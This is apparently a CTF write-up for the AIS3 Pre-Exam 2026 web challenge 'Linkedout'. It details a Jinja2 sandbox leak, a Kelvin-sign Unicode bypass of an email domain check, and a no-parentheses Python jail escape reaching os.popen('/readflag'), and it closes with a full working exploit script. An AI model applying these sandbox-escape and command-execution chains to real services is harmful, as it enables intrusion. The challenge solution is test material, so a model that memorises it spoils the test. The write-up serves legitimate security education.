【AIS3 Pre-Exam 2026 Writeup】Web - Linkedout
Source came from the app itself.
After login, /media could read files under /app:
/media?file=app.py
/media?file=renderer.py
/media?file=requirements.txt
/media?file=templates/compose.html
app.py showed the normal Flask routes, plus one blueprint:
from lib import admin_models, recruiter_labs
app.register_blueprint(recruiter_labs.create_blueprint(require_login))
/media had a path filter:
requested = request.args.get("file", "")
path = PurePosixPath(requested)
if not requested or path.is_absolute() or ".." in path.parts:
abort(404)
if "lib" in requested.lower():
abort(404)
target = (APP_ROOT / Path(*path.parts)).resolve()
target.relative_to(APP_ROOT)
/media was useful for source review, but not enough to read lib/recruiter_labs.py. URL encoding, double encoding, Unicode lookalike characters, null bytes, and traversal tricks did not help. The target path still had to stay under /app, and the raw request string could not contain lib. No clean bypass there.
The main routes were still useful. /compose sends my post body to a renderer service:
payload = {"body": body, "user": {"id": user["id"], "email": user["email"]}}
resp = requests.post(RENDERER_URL, json=payload, timeout=3)
rendered = resp.json().get("rendered", "")
renderer.py used Jinja2 sandbox:
env = SandboxedEnvironment(autoescape=False)
class Renderer:
version = "linkedout-renderer/jinja-" + jinja2.__version__
def render(self, body, user):
return env.from_string(body).render(user=user, renderer=self)
{{ 7*7 }} worked, so SSTI was real.
{{ 7*7 }}
Output:
49
Unsafe attributes did not work directly:
{{ renderer.render.__globals__ }}
Sandbox blocked it. I first thought maybe this was the final path, because Jinja2 was 3.1.5, and CVE-2025-27516 was relevant.
str.format bypass worked for object traversal:
{{ "{0.render.__globals__[admin_models].__builtins__[open]}"|attr("format")(renderer) }}
Output:
<built-in function open>
The renderer sandbox could leak objects. It also leaked admin_models details:
TRUSTED_DOMAIN = linkedout.local
public_signup_domain_blocked.__code__.co_consts =
(None, 'SELECT 1 WHERE ? = ? COLLATE NOCASE')
But str.format only gives field traversal. It does not call open("/flag"). I could see dangerous objects, but not execute them. I went back to this later for recon, not for the final exploit.
The registration check and the lab check were not the same.
Registration blocked trusted domain with SQLite:
SELECT 1 WHERE ? = ? COLLATE NOCASE
Recruiter Labs used Python lowercase:
domain.lower() == "linkedout.local"
Kelvin sign K was enough:
"linKedout.local".lower()
# "linkedout.local"
This email passed both sides in the wrong way:
test@linKedout.local
SQLite NOCASE did not treat K as k, so registration was allowed. Python .lower() did treat it as k, so /recruiter/labs was allowed.
Protections here were application filters, not ELF protections:
- SQLite
NOCASEdomain block - Flask login session
/mediapath filter andlibsubstring block- Jinja2
SandboxedEnvironment - Recruiter Labs pyjail whitelist
No native binary existed in this folder, so there were no real gdb observations or glibc/printf path. The useful debugging was small HTTP probes and reading what each endpoint returned.
Recruiter Labs showed the formula alphabet:
abcdefghijklmnopqrstuvwxyz_.[]
Everything else was stripped. No digits, no quotes, no parentheses, no spaces, no =.
The visible values were:
score -> 42
connections -> 313
profile -> namespace(headline='Product security engineer',
location='Local office',
availability='Interviewing')
__builtins__ -> {}
Common pyjail names failed:
copyright -> NameError
license -> NameError
help -> NameError
Public copyright payloads did not apply.
List comprehension assignment still worked. This gave storage.
[[[]]for[profile.x]in[[score]]if[]]or[profile.x]
Conceptually:
profile.x = score
profile.x
A normal no-parentheses escape was my first pyjail idea:
profile.__class__.__repr__ = ...
profile.__class__.__getitem__ = ...
That failed. types.SimpleNamespace and built-in classes were immutable in the places I needed. Setting instance special methods also did not trigger Python’s special lookup. No trigger, no path.
object.__subclasses__ was reachable:
profile.__class__.__base__.__subclasses__
But it was only a method object. Without parentheses, it was not called.
The useful primitive came from types.GenericAlias.
In Python, list[x] creates a GenericAlias. If x has __typing_subst__, then later substitution calls it. In normal Python:
profile.__typing_subst__ = some_function
list[profile][arg]
That calls:
some_function(arg)
In the jail, list can be written as:
[].__class__
The call primitive became:
profile.__typing_subst__ = func
[].__class__[profile][arg].__args__[0]
With allowed characters only:
[[[]]for[profile.__typing_subst__]in[[func]]if[]]or[].__class__[profile][arg].__args__[[]is[]]
[]is[] is False, so as an index it is 0.
That solved the no-parentheses problem.
Next target was object.__subclasses__(). Direct bound method was not enough, so the descriptor from type.__dict__ was better.
The name string came from an existing object:
profile.__class__.__base__.__subclasses__.__name__
That is "__subclasses__".
Conceptually:
profile.__typing_subst__ = type.__dict__[object.__subclasses__.__name__]
subs = list[profile][object].__args__[0]
In the running container, subs[142] was:
os._wrap_close
Then:
os._wrap_close.__init__.__globals__
gave the os module globals.
Environment dump came first:
SERVICE_ROLE=web
PWD=/app
RENDERER_URL=http://linkedout_..._renderer:5001/render
SECRET_KEY=...
No flag there.
Root listing:
os.listdir("/")
Root directory contained:
flag
readflag
flag-src
app
...
Direct file read failed:
open("/flag").read()
Result:
PermissionError
/flag existed, but the web user could not read it. /readflag looked like the intended helper. Final call:
os.popen("/readflag").read(313)
Flag output:
AIS3{now_you_know_the_unicode_confusion_and_the_jailBrEEEEEaK_e23ba2}
Full exploit script:
#!/usr/bin/env python3
import html
import random
import re
import string
import requests
TARGET = "http://chals1.ais3.org:36002"
def A(attr, expr):
return f"[[[]]for[profile.{attr}]in[[{expr}]]if[]]"
def S(func):
return A("__typing_subst__", func)
def C(arg):
return f"[].__class__[profile][{arg}].__args__[[]is[]]"
def register():
s = requests.Session()
email = "u" + "".join(random.choice(string.ascii_lowercase) for _ in range(8))
email += "@lin\u212Aedout.local"
r = s.post(
TARGET + "/register",
data={"email": email, "password": "p"},
timeout=8,
allow_redirects=True,
)
r.raise_for_status()
return s
parts = []
# Basic constants.
parts += [
A("four", "score.__class__.__itemsize__"),
A("eight", "[].__class__[score].__args__.__class__.__itemsize__"),
S("profile.four.__sub__"),
A("three", C("not[]")),
S("profile.three.__sub__"),
A("two", C("not[]")),
]
# Build subclass index 142.
parts += [
S("score.__mul__"),
A("x", C("profile.four")),
S("profile.x.__sub__"),
A("y", C("score.__class__.__basicsize__")),
S("profile.y.__sub__"),
A("z", C("not[]")),
S("profile.z.__sub__"),
A("i", C("not[]")),
]
# object.__subclasses__ -> os._wrap_close -> os globals.
subclasses_func = (
"profile.__class__.__base__.__class__.__dict__"
"[profile.__class__.__base__.__subclasses__.__name__]"
)
parts += [
S(subclasses_func),
A("subs", C("profile.__class__.__base__")),
A("cls", "profile.subs[profile.i]"),
A("g", "profile.cls.__init__.__globals__"),
S("[].__class__"),
A("keys", C("profile.g")),
]
# Builtins and chr.
parts += [
S("profile.four.__add__"),
A("five", C("not[]")),
S("profile.five.__add__"),
A("six", C("not[]")),
A("bkey", "profile.keys[profile.six]"),
S("profile.g.__getitem__"),
A("b", C("profile.bkey")),
S("[].__class__"),
A("bkeys", C("profile.b")),
S("profile.eight.__add__"),
A("twelve", C("profile.four")),
S("profile.twelve.__add__"),
A("thirteen", C("not[]")),
S("profile.thirteen.__add__"),
A("fourteen", C("not[]")),
A("chrkey", "profile.bkeys[profile.fourteen]"),
S("profile.b.__getitem__"),
A("chrfunc", C("profile.chrkey")),
]
# Character codes for /readflag and popen.
parts += [
A("forty", "[].__class__.__basicsize__"),
S("score.__add__"),
A("fortysix", C("profile.four")),
S("profile.fortysix.__add__"),
A("cslash", C("not[]")),
S("profile.i.__sub__"),
A("cf", C("profile.forty")),
S("profile.cf.__sub__"),
A("ce", C("not[]")),
S("profile.cf.__sub__"),
A("cd", C("profile.two")),
S("profile.cf.__sub__"),
A("ca", C("profile.five")),
S("profile.cf.__add__"),
A("cg", C("not[]")),
S("profile.cf.__add__"),
A("cl", C("profile.six")),
S("profile.cl.__add__"),
A("cr", C("profile.six")),
S("profile.cr.__sub__"),
A("cp", C("profile.two")),
S("profile.cp.__sub__"),
A("co", C("not[]")),
S("profile.co.__sub__"),
A("cn", C("not[]")),
]
for attr, num in [
("slash", "profile.cslash"),
("f", "profile.cf"),
("e", "profile.ce"),
("d", "profile.cd"),
("a", "profile.ca"),
("gch", "profile.cg"),
("l", "profile.cl"),
("r", "profile.cr"),
("p", "profile.cp"),
("o", "profile.co"),
("n", "profile.cn"),
]:
parts += [S("profile.chrfunc"), A(attr, C(num))]
# Empty string.
parts += [S("profile.location.join"), A("empty", C("[]"))]
# cmd = /readflag
parts += [S("profile.empty.__add__"), A("cmd", C("profile.slash"))]
for ch in ["r", "e", "a", "d", "f", "l", "a", "gch"]:
parts += [S("profile.cmd.__add__"), A("cmd", C(f"profile.{ch}"))]
# popenkey = popen
parts += [S("profile.empty.__add__"), A("popenkey", C("profile.p"))]
for ch in ["o", "p", "e", "n"]:
parts += [S("profile.popenkey.__add__"), A("popenkey", C(f"profile.{ch}"))]
# os.popen("/readflag").read(313)
parts += [
S("profile.g.__getitem__"),
A("popenfunc", C("profile.popenkey")),
S("profile.popenfunc"),
A("proc", C("profile.cmd")),
S("profile.proc.read"),
A("data", C("connections")),
]
payload = "or".join(parts) + "or[profile.data][[]is[]]"
s = register()
r = s.post(TARGET + "/recruiter/labs", data={"formula": payload}, timeout=30)
r.raise_for_status()
m = re.search(r"<h2>Candidate Ranking Preview</h2><pre>(.*?)</pre>", r.text, re.S)
print(html.unescape(m.group(1)))